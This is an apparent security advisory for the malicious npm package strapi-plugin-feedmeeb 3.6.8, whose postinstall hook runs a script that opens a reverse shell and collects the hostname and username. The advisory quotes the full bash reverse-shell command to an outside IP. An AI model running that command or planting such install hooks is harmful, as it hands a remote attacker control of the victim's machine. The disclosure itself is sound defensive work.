strapi-plugin-feedmeeb

GHSA-chmf-v973-774w

Malicious code in strapi-plugin-feedmeeb (npm)

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5)
[email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form `bash -i >& /dev/tcp/14.225.210.85/80 0>&1` and exec's it via child_process, with retry logic, giving the operator of 14.225.210.85 interactive command execution on the installer's host. Alongside the shell, the script collects os.hostname() and os.userInfo().username to identify the compromised machine. The package presents itself as a Strapi plugin but its install-time behavior is unrelated to any plugin function.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/77e1abe54c807a94ef54fde706a23385c94d9e9b/osv/malicious/npm/strapi-plugin-feedmeeb/MAL-2026-16230.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/77e1abe54c807a94ef54fde706a23385c94d9e9b/osv/malicious/npm/strapi-plugin-feedmeeb/MAL-2026-16230.json
- https://www.npmjs.com/package/strapi-plugin-feedmeeb/v/3.6.8
- https://github.com/advisories/GHSA-chmf-v973-774w

Compromised versions (1)

= 3.6.8

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.